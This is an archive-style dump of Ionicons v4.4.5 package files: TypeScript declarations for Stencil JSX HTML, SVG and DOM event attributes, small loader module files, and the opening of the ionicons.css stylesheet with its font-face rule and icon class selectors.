tr: JSXElements.HTMLAttributes; track: JSXElements.TrackHTMLAttributes; u: JSXElements.HTMLAttributes; ul: JSXElements.HTMLAttributes; 'var': JSXElements.HTMLAttributes; video: JSXElements.VideoHTMLAttributes; wbr: JSXElements.HTMLAttributes; } export interface SlotAttributes { name?: string; slot?: string; } export interface AnchorHTMLAttributes extends HTMLAttributes { download?: any; href?: string; hrefLang?: string; hreflang?: string; media?: string; rel?: string; target?: string; } export interface AudioHTMLAttributes extends MediaHTMLAttributes {} export interface AreaHTMLAttributes extends HTMLAttributes { alt?: string; coords?: string; download?: any; href?: string; hrefLang?: string; hreflang?: string; media?: string; rel?: string; shape?: string; target?: string; } export interface BaseHTMLAttributes extends HTMLAttributes { href?: string; target?: string; } export interface BlockquoteHTMLAttributes extends HTMLAttributes { cite?: string; } export interface ButtonHTMLAttributes extends HTMLAttributes { autoFocus?: boolean; disabled?: boolean; form?: string; formAction?: string; formaction?: string; formEncType?: string; formenctype?: string; formMethod?: string; formmethod?: string; formNoValidate?: boolean; formnovalidate?: boolean; formTarget?: string; formtarget?: string; name?: string; type?: string; value?: string | string[] | number; } export interface CanvasHTMLAttributes extends HTMLAttributes { height?: number | string; width?: number | string; } export interface ColHTMLAttributes extends HTMLAttributes { span?: number; } export interface ColgroupHTMLAttributes extends HTMLAttributes { span?: number; } export interface DetailsHTMLAttributes extends HTMLAttributes { open?: boolean; } export interface DelHTMLAttributes extends HTMLAttributes { cite?: string; dateTime?: string; datetime?: string; } export interface DialogHTMLAttributes extends HTMLAttributes { open?: boolean; returnValue?: string; } export interface EmbedHTMLAttributes extends HTMLAttributes { height?: number | string; src?: string; type?: string; width?: number | string; } export interface FieldsetHTMLAttributes extends HTMLAttributes { disabled?: boolean; form?: string; name?: string; } export interface FormHTMLAttributes extends HTMLAttributes { acceptCharset?: string; acceptcharset?: string; action?: string; autoComplete?: string; autocomplete?: string; encType?: string; enctype?: string; method?: string; name?: string; noValidate?: boolean; novalidate?: boolean | string; target?: string; } export interface HtmlHTMLAttributes extends HTMLAttributes { manifest?: string; } export interface IframeHTMLAttributes extends HTMLAttributes { allowFullScreen?: boolean; allowfullScreen?: string | boolean; allowTransparency?: boolean; allowtransparency?: string | boolean; frameBorder?: number | string; frameborder?: number | string; height?: number | string; marginHeight?: number; marginheight?: string | number; marginWidth?: number; marginwidth?: string | number; name?: string; sandbox?: string; scrolling?: string; seamless?: boolean; src?: string; srcDoc?: string; srcdoc?: string; width?: number | string; } export interface ImgHTMLAttributes extends HTMLAttributes { alt?: string; decoding?: 'async' | 'auto' | 'sync'; height?: number | string; sizes?: string; src?: string; srcSet?: string; srcset?: string; useMap?: string; usemap?: string; width?: number | string; } export interface InsHTMLAttributes extends HTMLAttributes { cite?: string; dateTime?: string; datetime?: string; } export interface InputHTMLAttributes extends HTMLAttributes { accept?: string; alt?: string; autoComplete?: string; autocomplete?: string; autoFocus?: boolean; autofocus?: boolean | string; capture?: string; // https://www.w3.org/TR/html-media-capture/#the-capture-attribute checked?: boolean; crossOrigin?: string; crossorigin?: string; disabled?: boolean; form?: string; formAction?: string; formaction?: string; formEncType?: string; formenctype?: string; formMethod?: string; formmethod?: string; formNoValidate?: boolean; formnovalidate?: boolean; formTarget?: string; formtarget?: string; height?: number | string; list?: string; max?: number | string; maxLength?: number; maxlength?: number | string; min?: number | string; minLength?: number; minlength?: number | string; multiple?: boolean; name?: string; pattern?: string; placeholder?: string; readOnly?: boolean; readonly?: boolean | string; required?: boolean; size?: number; src?: string; step?: number | string; type?: string; value?: string | string[] | number; width?: number | string; } export interface KeygenHTMLAttributes extends HTMLAttributes { autoFocus?: boolean; autofocus?: boolean | string; challenge?: string; disabled?: boolean; form?: string; keyType?: string; keytype?: string; keyParams?: string; keyparams?: string; name?: string; } export interface LabelHTMLAttributes extends HTMLAttributes { form?: string; htmlFor?: string; htmlfor?: string; } export interface LiHTMLAttributes extends HTMLAttributes { value?: string | string[] | number; } export interface LinkHTMLAttributes extends HTMLAttributes { href?: string; hrefLang?: string; hreflang?: string; integrity?: string; media?: string; rel?: string; sizes?: string; type?: string; } export interface MapHTMLAttributes extends HTMLAttributes { name?: string; } export interface MenuHTMLAttributes extends HTMLAttributes { type?: string; } export interface MediaHTMLAttributes extends HTMLAttributes { autoPlay?: boolean; autoplay?: boolean | string; controls?: boolean; crossOrigin?: string; crossorigin?: string; loop?: boolean; mediaGroup?: string; mediagroup?: string; muted?: boolean; preload?: string; src?: string; } export interface MetaHTMLAttributes extends HTMLAttributes { charSet?: string; charset?: string; content?: string; httpEquiv?: string; httpequiv?: string; name?: string; } export interface MeterHTMLAttributes extends HTMLAttributes { form?: string; high?: number; low?: number; max?: number | string; min?: number | string; optimum?: number; value?: string | string[] | number; } export interface QuoteHTMLAttributes extends HTMLAttributes { cite?: string; } export interface ObjectHTMLAttributes extends HTMLAttributes { classID?: string; classid?: string; data?: string; form?: string; height?: number | string; name?: string; type?: string; useMap?: string; usemap?: string; width?: number | string; wmode?: string; } export interface OlHTMLAttributes extends HTMLAttributes { reversed?: boolean; start?: number; } export interface OptgroupHTMLAttributes extends HTMLAttributes { disabled?: boolean; label?: string; } export interface OptionHTMLAttributes extends HTMLAttributes { disabled?: boolean; label?: string; selected?: boolean; value?: string | string[] | number; } export interface OutputHTMLAttributes extends HTMLAttributes { form?: string; htmlFor?: string; htmlfor?: string; name?: string; } export interface ParamHTMLAttributes extends HTMLAttributes { name?: string; value?: string | string[] | number; } export interface ProgressHTMLAttributes extends HTMLAttributes { max?: number | string; value?: string | string[] | number; } export interface ScriptHTMLAttributes extends HTMLAttributes { async?: boolean; charSet?: string; charset?: string; crossOrigin?: string; crossorigin?: string; defer?: boolean; integrity?: string; nonce?: string; src?: string; type?: string; } export interface SelectHTMLAttributes extends HTMLAttributes { autoFocus?: boolean; disabled?: boolean; form?: string; multiple?: boolean; name?: string; required?: boolean; size?: number; } export interface SourceHTMLAttributes extends HTMLAttributes { media?: string; sizes?: string; src?: string; srcSet?: string; type?: string; } export interface StyleHTMLAttributes extends HTMLAttributes { media?: string; nonce?: string; scoped?: boolean; type?: string; } export interface TableHTMLAttributes extends HTMLAttributes { cellPadding?: number | string; cellpadding?: number | string; cellSpacing?: number | string; cellspacing?: number | string; summary?: string; } export interface TextareaHTMLAttributes extends HTMLAttributes { autoFocus?: boolean; autofocus?: boolean | string; cols?: number; disabled?: boolean; form?: string; maxLength?: number; maxlength?: number | string; minLength?: number; minlength?: number | string; name?: string; placeholder?: string; readOnly?: boolean; readonly?: boolean | string; required?: boolean; rows?: number; value?: string | string[] | number; wrap?: string; } export interface TdHTMLAttributes extends HTMLAttributes { colSpan?: number; headers?: string; rowSpan?: number; } export interface ThHTMLAttributes extends HTMLAttributes { colSpan?: number; headers?: string; rowSpan?: number; rowspan?: number | string; scope?: string; } export interface TimeHTMLAttributes extends HTMLAttributes { dateTime?: string; } export interface TrackHTMLAttributes extends HTMLAttributes { default?: boolean; kind?: string; label?: string; src?: string; srcLang?: string; srclang?: string; } export interface VideoHTMLAttributes extends MediaHTMLAttributes { height?: number | string; playsInline?: boolean; playsinline?: boolean | string; poster?: string; width?: number | string; } export interface HTMLAttributes extends StencilGlobalHTMLAttributes, DOMAttributes { // vdom specific innerHTML?: string; ref?: (elm?: T) => void; key?: string | number; // Standard HTML Attributes accessKey?: string; class?: string | { [className: string]: boolean }; contentEditable?: boolean | string; contenteditable?: boolean | string; contextMenu?: string; contextmenu?: string; dir?: string; draggable?: boolean; hidden?: boolean; id?: string; lang?: string; slot?: string; spellCheck?: boolean; spellcheck?: boolean | string; style?: { [key: string]: string }; tabIndex?: number; tabindex?: number | string; title?: string; // Unknown inputMode?: string; inputmode?: string; is?: string; radioGroup?: string; // , radiogroup?: string; // WAI-ARIA role?: string; // RDFa Attributes about?: string; datatype?: string; inlist?: any; prefix?: string; property?: string; resource?: string; typeof?: string; vocab?: string; // Non-standard Attributes autoCapitalize?: string; autocapitalize?: string; autoCorrect?: string; autocorrect?: string; autoSave?: string; autosave?: string; color?: string; itemProp?: string; itemprop?: string; itemScope?: boolean; itemscope?: boolean; itemType?: string; itemtype?: string; itemID?: string; itemid?: string; itemRef?: string; itemref?: string; results?: number; security?: string; unselectable?: boolean; } export interface SVGAttributes extends StencilGlobalHTMLAttributes, DOMAttributes { // Attributes which also defined in HTMLAttributes // See comment in SVGDOMPropertyConfig.js class?: string | { [className: string]: boolean }; color?: string; height?: number | string; id?: string; lang?: string; max?: number | string; media?: string; method?: string; min?: number | string; name?: string; style?: { [key: string]: any; }; target?: string; type?: string; width?: number | string; // Other HTML properties supported by SVG elements in browsers role?: string; tabIndex?: number; // SVG Specific attributes accentHeight?: number | string; accumulate?: 'none' | 'sum'; additive?: 'replace' | 'sum'; alignmentBaseline?: 'auto' | 'baseline' | 'before-edge' | 'text-before-edge' | 'middle' | 'central' | 'after-edge' | 'text-after-edge' | 'ideographic' | 'alphabetic' | 'hanging' | 'mathematical' | 'inherit'; allowReorder?: 'no' | 'yes'; alphabetic?: number | string; amplitude?: number | string; arabicForm?: 'initial' | 'medial' | 'terminal' | 'isolated'; ascent?: number | string; attributeName?: string; attributeType?: string; autoReverse?: number | string; azimuth?: number | string; baseFrequency?: number | string; baselineShift?: number | string; baseProfile?: number | string; bbox?: number | string; begin?: number | string; bias?: number | string; by?: number | string; calcMode?: number | string; capHeight?: number | string; clip?: number | string; clipPath?: string; clipPathUnits?: number | string; clipRule?: number | string; colorInterpolation?: number | string; colorInterpolationFilters?: 'auto' | 'sRGB' | 'linearRGB' | 'inherit'; colorProfile?: number | string; colorRendering?: number | string; contentScriptType?: number | string; contentStyleType?: number | string; cursor?: number | string; cx?: number | string; cy?: number | string; d?: string; decelerate?: number | string; descent?: number | string; diffuseConstant?: number | string; direction?: number | string; display?: number | string; divisor?: number | string; dominantBaseline?: number | string; dur?: number | string; dx?: number | string; dy?: number | string; edgeMode?: number | string; elevation?: number | string; enableBackground?: number | string; end?: number | string; exponent?: number | string; externalResourcesRequired?: number | string; fill?: string; fillOpacity?: number | string; fillRule?: 'nonzero' | 'evenodd' | 'inherit'; filter?: string; filterRes?: number | string; filterUnits?: number | string; floodColor?: number | string; floodOpacity?: number | string; focusable?: number | string; fontFamily?: string; fontSize?: number | string; fontSizeAdjust?: number | string; fontStretch?: number | string; fontStyle?: number | string; fontVariant?: number | string; fontWeight?: number | string; format?: number | string; from?: number | string; fx?: number | string; fy?: number | string; g1?: number | string; g2?: number | string; glyphName?: number | string; glyphOrientationHorizontal?: number | string; glyphOrientationVertical?: number | string; glyphRef?: number | string; gradientTransform?: string; gradientUnits?: string; hanging?: number | string; horizAdvX?: number | string; horizOriginX?: number | string; ideographic?: number | string; imageRendering?: number | string; in2?: number | string; in?: string; intercept?: number | string; k1?: number | string; k2?: number | string; k3?: number | string; k4?: number | string; k?: number | string; kernelMatrix?: number | string; kernelUnitLength?: number | string; kerning?: number | string; keyPoints?: number | string; keySplines?: number | string; keyTimes?: number | string; lengthAdjust?: number | string; letterSpacing?: number | string; lightingColor?: number | string; limitingConeAngle?: number | string; local?: number | string; markerEnd?: string; markerHeight?: number | string; markerMid?: string; markerStart?: string; markerUnits?: number | string; markerWidth?: number | string; mask?: string; maskContentUnits?: number | string; maskUnits?: number | string; mathematical?: number | string; mode?: number | string; numOctaves?: number | string; offset?: number | string; opacity?: number | string; operator?: number | string; order?: number | string; orient?: number | string; orientation?: number | string; origin?: number | string; overflow?: number | string; overlinePosition?: number | string; overlineThickness?: number | string; paintOrder?: number | string; panose1?: number | string; pathLength?: number | string; patternContentUnits?: string; patternTransform?: number | string; patternUnits?: string; pointerEvents?: number | string; points?: string; pointsAtX?: number | string; pointsAtY?: number | string; pointsAtZ?: number | string; preserveAlpha?: number | string; preserveAspectRatio?: string; primitiveUnits?: number | string; r?: number | string; radius?: number | string; refX?: number | string; refY?: number | string; renderingIntent?: number | string; repeatCount?: number | string; repeatDur?: number | string; requiredExtensions?: number | string; requiredFeatures?: number | string; restart?: number | string; result?: string; rotate?: number | string; rx?: number | string; ry?: number | string; scale?: number | string; seed?: number | string; shapeRendering?: number | string; slope?: number | string; spacing?: number | string; specularConstant?: number | string; specularExponent?: number | string; speed?: number | string; spreadMethod?: string; startOffset?: number | string; stdDeviation?: number | string; stemh?: number | string; stemv?: number | string; stitchTiles?: number | string; stopColor?: string; stopOpacity?: number | string; strikethroughPosition?: number | string; strikethroughThickness?: number | string; string?: number | string; stroke?: string; strokeDasharray?: string | number; strokeDashoffset?: string | number; strokeLinecap?: 'butt' | 'round' | 'square' | 'inherit'; strokeLinejoin?: 'miter' | 'round' | 'bevel' | 'inherit'; strokeMiterlimit?: string; strokeOpacity?: number | string; strokeWidth?: number | string; surfaceScale?: number | string; systemLanguage?: number | string; tableValues?: number | string; targetX?: number | string; targetY?: number | string; textAnchor?: string; textDecoration?: number | string; textLength?: number | string; textRendering?: number | string; to?: number | string; transform?: string; u1?: number | string; u2?: number | string; underlinePosition?: number | string; underlineThickness?: number | string; unicode?: number | string; unicodeBidi?: number | string; unicodeRange?: number | string; unitsPerEm?: number | string; vAlphabetic?: number | string; values?: string; vectorEffect?: number | string; version?: string; vertAdvY?: number | string; vertOriginX?: number | string; vertOriginY?: number | string; vHanging?: number | string; vIdeographic?: number | string; viewBox?: string; viewTarget?: number | string; visibility?: number | string; vMathematical?: number | string; widths?: number | string; wordSpacing?: number | string; writingMode?: number | string; x1?: number | string; x2?: number | string; x?: number | string; xChannelSelector?: string; xHeight?: number | string; xlinkActuate?: string; xlinkArcrole?: string; xlinkHref?: string; xlinkRole?: string; xlinkShow?: string; xlinkTitle?: string; xlinkType?: string; xmlBase?: string; xmlLang?: string; xmlns?: string; xmlnsXlink?: string; xmlSpace?: string; y1?: number | string; y2?: number | string; y?: number | string; yChannelSelector?: string; z?: number | string; zoomAndPan?: string; } export interface DOMAttributes { // Clipboard Events onCopy?: (event: ClipboardEvent) => void; onCopyCapture?: (event: ClipboardEvent) => void; onCut?: (event: ClipboardEvent) => void; onCutCapture?: (event: ClipboardEvent) => void; onPaste?: (event: ClipboardEvent) => void; onPasteCapture?: (event: ClipboardEvent) => void; // Composition Events onCompositionEnd?: (event: CompositionEvent) => void; onCompositionEndCapture?: (event: CompositionEvent) => void; onCompositionStart?: (event: CompositionEvent) => void; onCompositionStartCapture?: (event: CompositionEvent) => void; onCompositionUpdate?: (event: CompositionEvent) => void; onCompositionUpdateCapture?: (event: CompositionEvent) => void; // Focus Events onFocus?: (event: FocusEvent) => void; onFocusCapture?: (event: FocusEvent) => void; onBlur?: (event: FocusEvent) => void; onBlurCapture?: (event: FocusEvent) => void; // Form Events onChange?: (event: Event) => void; onChangeCapture?: (event: Event) => void; onInput?: (event: Event) => void; onInputCapture?: (event: Event) => void; onReset?: (event: Event) => void; onResetCapture?: (event: Event) => void; onSubmit?: (event: Event) => void; onSubmitCapture?: (event: Event) => void; onInvalid?: (event: Event) => void; onInvalidCapture?: (event: Event) => void; // Image Events onLoad?: (event: Event) => void; onLoadCapture?: (event: Event) => void; onError?: (event: Event) => void; // also a Media Event onErrorCapture?: (event: Event) => void; // also a Media Event // Keyboard Events onKeyDown?: (event: KeyboardEvent) => void; onKeyDownCapture?: (event: KeyboardEvent) => void; onKeyPress?: (event: KeyboardEvent) => void; onKeyPressCapture?: (event: KeyboardEvent) => void; onKeyUp?: (event: KeyboardEvent) => void; onKeyUpCapture?: (event: KeyboardEvent) => void; // MouseEvents onAuxClick?: (event: MouseEvent) => void; onClick?: (event: MouseEvent) => void; onClickCapture?: (event: MouseEvent) => void; onContextMenu?: (event: MouseEvent) => void; onContextMenuCapture?: (event: MouseEvent) => void; onDblClick?: (event: MouseEvent) => void; onDblClickCapture?: (event: MouseEvent) => void; onDrag?: (event: DragEvent) => void; onDragCapture?: (event: DragEvent) => void; onDragEnd?: (event: DragEvent) => void; onDragEndCapture?: (event: DragEvent) => void; onDragEnter?: (event: DragEvent) => void; onDragEnterCapture?: (event: DragEvent) => void; onDragExit?: (event: DragEvent) => void; onDragExitCapture?: (event: DragEvent) => void; onDragLeave?: (event: DragEvent) => void; onDragLeaveCapture?: (event: DragEvent) => void; onDragOver?: (event: DragEvent) => void; onDragOverCapture?: (event: DragEvent) => void; onDragStart?: (event: DragEvent) => void; onDragStartCapture?: (event: DragEvent) => void; onDrop?: (event: DragEvent) => void; onDropCapture?: (event: DragEvent) => void; onMouseDown?: (event: MouseEvent) => void; onMouseDownCapture?: (event: MouseEvent) => void; onMouseEnter?: (event: MouseEvent) => void; onMouseLeave?: (event: MouseEvent) => void; onMouseMove?: (event: MouseEvent) => void; onMouseMoveCapture?: (event: MouseEvent) => void; onMouseOut?: (event: MouseEvent) => void; onMouseOutCapture?: (event: MouseEvent) => void; onMouseOver?: (event: MouseEvent) => void; onMouseOverCapture?: (event: MouseEvent) => void; onMouseUp?: (event: MouseEvent) => void; onMouseUpCapture?: (event: MouseEvent) => void; // Touch Events onTouchCancel?: (event: TouchEvent) => void; onTouchCancelCapture?: (event: TouchEvent) => void; onTouchEnd?: (event: TouchEvent) => void; onTouchEndCapture?: (event: TouchEvent) => void; onTouchMove?: (event: TouchEvent) => void; onTouchMoveCapture?: (event: TouchEvent) => void; onTouchStart?: (event: TouchEvent) => void; onTouchStartCapture?: (event: TouchEvent) => void; // UI Events onScroll?: (event: UIEvent) => void; onScrollCapture?: (event: UIEvent) => void; // Wheel Events onWheel?: (event: WheelEvent) => void; onWheelCapture?: (event: WheelEvent) => void; // Animation Events onAnimationStart?: (event: AnimationEvent) => void; onAnimationStartCapture?: (event: AnimationEvent) => void; onAnimationEnd?: (event: AnimationEvent) => void; onAnimationEndCapture?: (event: AnimationEvent) => void; onAnimationIteration?: (event: AnimationEvent) => void; onAnimationIterationCapture?: (event: AnimationEvent) => void; // Transition Events onTransitionEnd?: (event: TransitionEvent) => void; onTransitionEndCapture?: (event: TransitionEvent) => void; } } export interface FunctionalUtilities { forEach: (children: FVNode[], cb: (vnode: ChildNode, index: number, array: FVNode[]) => void) => void; map: (children: FVNode[], cb: (vnode: ChildNode, index: number, array: FVNode[]) => ChildNode) => FVNode[]; } export interface FunctionalComponent { (props: T, children: FVNode[], utils: FunctionalUtilities): FVNode | FVNode[]; } export interface FVNode { // using v prefixes largely so closure has no issue property renaming vtag?: string | number | Function; vkey?: string | number; vtext?: string; vchildren?: FVNode[]; vattrs?: any; vname?: string; ishost?: boolean; isSlotFallback?: boolean; isSlotReference?: boolean; } export interface ChildNode { vtag?: string | number | Function; vkey?: string | number; vtext?: string; vchildren?: ChildNode[]; vattrs?: any; vname?: string; } loader/package.json000064400000000163151701353760010310 0ustar00{ "name": "loader", "typings": "./index.d.ts", "module": "./index.js", "es2017": "./index.es2017.js" }loader/index.js000064400000000056151701353760007470 0ustar00export * from '../esm/es5/ionicons.define.js';loader/index.es2017.js000064400000000061151701353760010404 0ustar00export * from '../esm/es2017/ionicons.define.js';loader/index.d.ts000064400000000106151701353760007720 0ustar00export declare function defineCustomElements(win: any): Promise;css/ionicons.css000064400000157505151701353760007714 0ustar00@charset "UTF-8"; /*! Ionicons, v4.4.5 Created by Ben Sperry for the Ionic Framework, http://ionicons.com/ https://twitter.com/benjsperry https://twitter.com/ionicframework MIT License: https://github.com/driftyco/ionicons Android-style icons originally built by Google’s Material Design Icons: https://github.com/google/material-design-icons used under CC BY http://creativecommons.org/licenses/by/4.0/ Modified icons to fit ionicon’s grid from original. */ @font-face { font-family: "Ionicons"; src: url("../fonts/ionicons.eot?v=4.4.5"); src: url("../fonts/ionicons.eot?v=4.4.5#iefix") format("embedded-opentype"), url("../fonts/ionicons.woff2?v=4.4.5") format("woff2"), url("../fonts/ionicons.woff?v=4.4.5") format("woff"), url("../fonts/ionicons.ttf?v=4.4.5") format("truetype"), url("../fonts/ionicons.svg?v=4.4.5#Ionicons") format("svg"); font-weight: normal; font-style: normal; } .ion, .ionicons, .ion-ios-add:before, .ion-ios-add-circle:before, .ion-ios-add-circle-outline:before, .ion-ios-airplane:before, .ion-ios-alarm:before, .ion-ios-albums:before, .ion-ios-alert:before, .ion-ios-american-football:before, .ion-ios-analytics:before, .ion-ios-aperture:before, .ion-ios-apps:before, .ion-ios-appstore:before, .ion-ios-archive:before, .ion-ios-arrow-back:before, .ion-ios-arrow-down:before, .ion-ios-arrow-dropdown:before, .ion-ios-arrow-dropdown-circle:before, .ion-ios-arrow-dropleft:before, .ion-ios-arrow-dropleft-circle:before, .ion-ios-arrow-dropright:before, .ion-ios-arrow-dropright-circle:before, .ion-ios-arrow-dropup:before, .ion-ios-arrow-dropup-circle:before, .ion-ios-arrow-forward:before, .ion-ios-arrow-round-back:before, .ion-ios-arrow-round-down:before, .ion-ios-arrow-round-forward:before, .ion-ios-arrow-round-up:before, .ion-ios-arrow-up:before, .ion-ios-at:before, .ion-ios-attach:before, .ion-ios-backspace:before, .ion-ios-barcode:before, .ion-ios-baseball:before, .ion-ios-basket:before, .ion-ios-basketball:before, .ion-ios-battery-charging:before, .ion-ios-battery-dead:before, .ion-ios-battery-full:before, .ion-ios-beaker:before, .ion-ios-bed:before, .ion-ios-beer:before, .ion-ios-bicycle:before, .ion-ios-bluetooth:before, .ion-ios-boat:before, .ion-ios-body:before, .ion-ios-bonfire:before, .ion-ios-book:before, .ion-ios-bookmark:before, .ion-ios-bookmarks:before, .ion-ios-bowtie:before, .ion-ios-briefcase:before, .ion-ios-browsers:before, .ion-ios-brush:before, .ion-ios-bug:before, .ion-ios-build:before, .ion-ios-bulb:before, .ion-ios-bus:before, .ion-ios-business:before, .ion-ios-cafe:before, .ion-ios-calculator:before, .ion-ios-calendar:before, .ion-ios-call:before, .ion-ios-camera:before, .ion-ios-car:before, .ion-ios-card:before, .ion-ios-cart:before, .ion-ios-cash:before, .ion-ios-cellular:before, .ion-ios-chatboxes:before, .ion-ios-chatbubbles:before, .ion-ios-checkbox:before, .ion-ios-checkbox-outline:before, .ion-ios-checkmark:before, .ion-ios-checkmark-circle:before, .ion-ios-checkmark-circle-outline:before, .ion-ios-clipboard:before, .ion-ios-clock:before, .ion-ios-close:before, .ion-ios-close-circle:before, .ion-ios-close-circle-outline:before, .ion-ios-cloud:before, .ion-ios-cloud-circle:before, .ion-ios-cloud-done:before, .ion-ios-cloud-download:before, .ion-ios-cloud-outline:before, .ion-ios-cloud-upload:before, .ion-ios-cloudy:before, .ion-ios-cloudy-night:before, .ion-ios-code:before, .ion-ios-code-download:before, .ion-ios-code-working:before, .ion-ios-cog:before, .ion-ios-color-fill:before, .ion-ios-color-filter:before, .ion-ios-color-palette:before, .ion-ios-color-wand:before, .ion-ios-compass:before, .ion-ios-construct:before, .ion-ios-contact:before, .ion-ios-contacts:before, .ion-ios-contract:before, .ion-ios-contrast:before, .ion-ios-copy:before, .ion-ios-create:before, .ion-ios-crop:before, .ion-ios-cube:before, .ion-ios-cut:before, .ion-ios-desktop:before, .ion-ios-disc:before, .ion-ios-document:before, .ion-ios-done-all:before, .ion-ios-download:before, .ion-ios-easel:before, .ion-ios-egg:before, .ion-ios-exit:before, .ion-ios-expand:before, .ion-ios-eye:before, .ion-ios-eye-off:before, .ion-ios-fastforward:before, .ion-ios-female:before, .ion-ios-filing:before, .ion-ios-film:before, .ion-ios-finger-print:before, .ion-ios-fitness:before, .ion-ios-flag:before, .ion-ios-flame:before, .ion-ios-flash:before, .ion-ios-flash-off:before, .ion-ios-flashlight:before, .ion-ios-flask:before, .ion-ios-flower:before, .ion-ios-folder:before, .ion-ios-folder-open:before, .ion-ios-football:before, .ion-ios-funnel:before, .ion-ios-gift:before, .ion-ios-git-branch:before, .ion-ios-git-commit:before, .ion-ios-git-compare:before, .ion-ios-git-merge:before, .ion-ios-git-network:before, .ion-ios-git-pull-request:before, .ion-ios-glasses:before, .ion-ios-globe:before, .ion-ios-grid:before, .ion-ios-hammer:before, .ion-ios-hand:before, .ion-ios-happy:before, .ion-ios-headset:before, .ion-ios-heart:before, .ion-ios-heart-dislike:before, .ion-ios-heart-empty:before, .ion-ios-heart-half:before, .ion-ios-help:before, .ion-ios-help-buoy:before, .ion-ios-help-circle:before, .ion-ios-help-circle-outline:before, .ion-ios-home:before, .ion-ios-hourglass:before, .ion-ios-ice-cream:before, .ion-ios-image:before, .ion-ios-images:before, .ion-ios-infinite:before, .ion-ios-information:before, .ion-ios-information-circle:before, .ion-ios-information-circle-outline:before, .ion-ios-jet:before, .ion-ios-journal:before, .ion-ios-key:before, .ion-ios-keypad:before, .ion-ios-laptop:before, .ion-ios-leaf:before, .ion-ios-link:before, .ion-ios-list:before, .ion-ios-list-box:before, .ion-ios-locate:before, .ion-ios-lock:before, .ion-ios-log-in:before, .ion-ios-log-out:before, .ion-ios-magnet:before, .ion-ios-mail:before, .ion-ios-mail-open:before, .ion-ios-mail-unread:before, .ion-ios-male:before, .ion-ios-man:before, .ion-ios-map:before, .ion-ios-medal:before, .ion-ios-medical:before, .ion-ios-medkit:before, .ion-ios-megaphone:before, .ion-ios-menu:before, .ion-ios-mic:before, .ion-ios-mic-off:before, .ion-ios-microphone:before, .ion-ios-moon:before, .ion-ios-more:before, .ion-ios-move:before, .ion-ios-musical-note:before, .ion-ios-musical-notes:before, .ion-ios-navigate:before, .ion-ios-notifications:before, .ion-ios-notifications-off:before, .ion-ios-notifications-outline:before, .ion-ios-nuclear:before, .ion-ios-nutrition:before, .ion-ios-open:before, .ion-ios-options:before, .ion-ios-outlet:before, .ion-ios-paper:before, .ion-ios-paper-plane:before, .ion-ios-partly-sunny:before, .ion-ios-pause:before, .ion-ios-paw:before, .ion-ios-people:before, .ion-ios-person:before, .ion-ios-person-add:before, .ion-ios-phone-landscape:before, .ion-ios-phone-portrait:before, .ion-ios-photos:before, .ion-ios-pie:before, .ion-ios-pin:before, .ion-ios-pint:before, .ion-ios-pizza:before, .ion-ios-planet:before, .ion-ios-play:before, .ion-ios-play-circle:before, .ion-ios-podium:before, .ion-ios-power:before, .ion-ios-pricetag:before, .ion-ios-pricetags:before, .ion-ios-print:before, .ion-ios-pulse:before, .ion-ios-qr-scanner:before, .ion-ios-quote:before, .ion-ios-radio:before, .ion-ios-radio-button-off:before, .ion-ios-radio-button-on:before, .ion-ios-rainy:before, .ion-ios-recording:before, .ion-ios-redo:before, .ion-ios-refresh:before, .ion-ios-refresh-circle:before, .ion-ios-remove:before, .ion-ios-remove-circle:before, .ion-ios-remove-circle-outline:before, .ion-ios-reorder:before, .ion-ios-repeat:before, .ion-ios-resize:before, .ion-ios-restaurant:before, .ion-ios-return-left:before, .ion-ios-return-right:before, .ion-ios-reverse-camera:before, .ion-ios-rewind:before, .ion-ios-ribbon:before, .ion-ios-rocket:before, .ion-ios-rose:before, .ion-ios-sad:before, .ion-ios-save:before, .ion-ios-school:before, .ion-ios-search:before, .ion-ios-send:before, .ion-ios-settings:before, .ion-ios-share:before, .ion-ios-share-alt:before, .ion-ios-shirt:before, .ion-ios-shuffle:before, .ion-ios-skip-backward:before, .ion-ios-skip-forward:before, .ion-ios-snow:before, .ion-ios-speedometer:before, .ion-ios-square:before, .ion-ios-square-outline:before, .ion-ios-star:before, .ion-ios-star-half:before, .ion-ios-star-outline:before, .ion-ios-stats:before, .ion-ios-stopwatch:before, .ion-ios-subway:before, .ion-ios-sunny:before, .ion-ios-swap:before, .ion-ios-switch:before, .ion-ios-sync:before, .ion-ios-tablet-landscape:before, .ion-ios-tablet-portrait:before, .ion-ios-tennisball:before, .ion-ios-text:before, .ion-ios-thermometer:before, .ion-ios-thumbs-down:before, .ion-ios-thumbs-up:before, .ion-ios-thunderstorm:before, .ion-ios-time:before, .ion-ios-timer:before, .ion-ios-today:before, .ion-ios-train:before, .ion-ios-transgender:before, .ion-ios-trash:before, .ion-ios-trending-down:before, .ion-ios-trending-up:before, .ion-ios-trophy:before, .ion-ios-tv:before, .ion-ios-umbrella:before, .ion-ios-undo:before, .ion-ios-unlock:before, .ion-ios-videocam:before, .ion-ios-volume-high:before, .ion-ios-volume-low:before, .ion-ios-volume-mute:before, .ion-ios-volume-off:before, .ion-ios-walk:before, .ion-ios-wallet:before, .ion-ios-warning:before, .ion-ios-watch:before, .ion-ios-water:before, .ion-ios-wifi:before, .ion-ios-wine:before, .ion-ios-woman:before, .ion-logo-android:before, .ion-logo-angular:before, .ion-logo-apple:before, .ion-logo-bitbucket:before, .ion-logo-bitcoin:before, .ion-logo-buffer:before, .ion-logo-chrome:before, .ion-logo-closed-captioning:before, .ion-logo-codepen:before, .ion-logo-css3:before, .ion-logo-designernews:before, .ion-logo-dribbble:before, .ion-logo-dropbox:before, .ion-logo-euro:before, .ion-logo-facebook:before, .ion-logo-flickr:before, .ion-logo-foursquare:before, .ion-logo-freebsd-devil:before, .ion-logo-game-controller-a:before, .ion-logo-game-controller-b:before, .ion-logo-github:before, .ion-logo-google:before, .ion-logo-googleplus:before, .ion-logo-hackernews:before, .ion-logo-html5:before, .ion-logo-instagram:before, .ion-logo-ionic:before, .ion-logo-ionitron:before, .ion-logo-javascript:before, .ion-logo-linkedin:before, .ion-logo-markdown:before, .ion-logo-model-s:before, .ion-logo-no-smoking:before, .ion-logo-nodejs:before, .ion-logo-npm:before, .ion-logo-octocat:before, .ion-logo-pinterest:before, .ion-logo-playstation:before, .ion-logo-polymer:before, .ion-logo-python:before, .ion-logo-reddit:before, .ion-logo-rss:before, .ion-logo-sass:before, .ion-logo-skype:before, .ion-logo-slack:before, .ion-logo-snapchat:before, .ion-logo-steam:before, .ion-logo-tumblr:before, .ion-logo-tux:before, .ion-logo-twitch:before, .ion-logo-twitter:before, .ion-logo-usd:before, .ion-logo-vimeo:before, .ion-logo-vk:before, .ion-logo-whatsapp:before, .ion-logo-windows:before, 